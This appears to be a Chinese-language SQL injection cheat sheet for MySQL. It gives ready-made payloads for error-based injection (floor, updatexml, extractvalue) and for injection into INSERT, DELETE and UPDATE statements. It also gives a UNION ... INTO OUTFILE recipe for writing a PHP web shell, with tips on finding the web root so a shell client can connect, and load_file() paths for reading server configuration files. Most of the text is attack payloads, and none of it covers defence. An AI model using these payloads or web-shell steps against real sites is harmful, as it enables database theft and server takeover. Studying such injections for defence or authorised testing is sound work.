1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| mysql基本注入流程 mysqk基本注入拓展 mysql注入权限 1.普通用户注入攻击 只能靠猜数据进行安全测试 2.root跨库注入,文件操作 @@version_compile_os 查询操作系统 由数据库进行连接的用户决定,谁连接就是谁的权限 3.sql注入写入文件 举例:id=-1'union select null,'aaa',null,null into outfile("D:\\WWW\\1.txt") aaa可以替换成shell代码,保存的文件可以换成shell.php 高危 有一个关键问题写入shell的时候你需要获取到网站的绝对路径否则无法用菜刀连接shell,写入的shell就没有意义 路径获取方法: 1.报错,有些网站报错的时候会带出路径的信息 2.phpinfo泄露网站绝对路径 script_filename 暴露绝对路径 3.查找漏洞信息爆路径 4.其他方法获取路径sql注入利用load_file()读取某些web容器的配置文件就能够获取网站的绝对路径 select null,load_file('dir\filename'),null,nulll iis6.0 C:\Windows/system32\inetsrv\metabase.xml ii7.5 C:\Windows\System32\inetsrv\config\applicationHost.config apache mysql宽字节注入: 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围) 无回显报错注入 floor报错: payload: ?id=1'+and+(select+1+from(select+count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+ ?id=-1' and(select 1 from (select count(*),concat((select table_name from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ updatexml报错: updatexml()函数是mysql对xml文档上数据进行查询和修改的xpath函数,但是updatexml只能爆出32位的数据 payload: id=1'and 1=(updatexml(1,concat(0x3a,(select version())),1))--+ 对select version进行修改爆破数据 extractvalue报错: payload: id=1' and extractvalue(1,concat(0x73,user()))--+ 对user()修改爆破数据 其他注入 select insert insert注入常和报错联系在一起 insert into table_name (id,username,password)values(id,'xxx' or updatexml(1,concat(0x7e,(version())),0) or '','xxx'); insert into users(id,username,password)values(16,'oracle' or updatexml(1,concat(0x7e,(version())),0)or '','xxx'); insert into users(id,username,password)values(16,'oracle' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0)or '','xxx'); 因为updatexml报错只能回显32位的错误 还可以用extractvalue报错 insert into users(id,username,password)values(2,'float' or extractvalue(1,concat(0x7e,database())) or '','xxx'); delete 后台管理里删除文章删除用户等操作 delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or ''; update update users set password='Nicky' or extractvalue(1,concat(0x7e,database())) or ''; 数据同步缓存等操作
|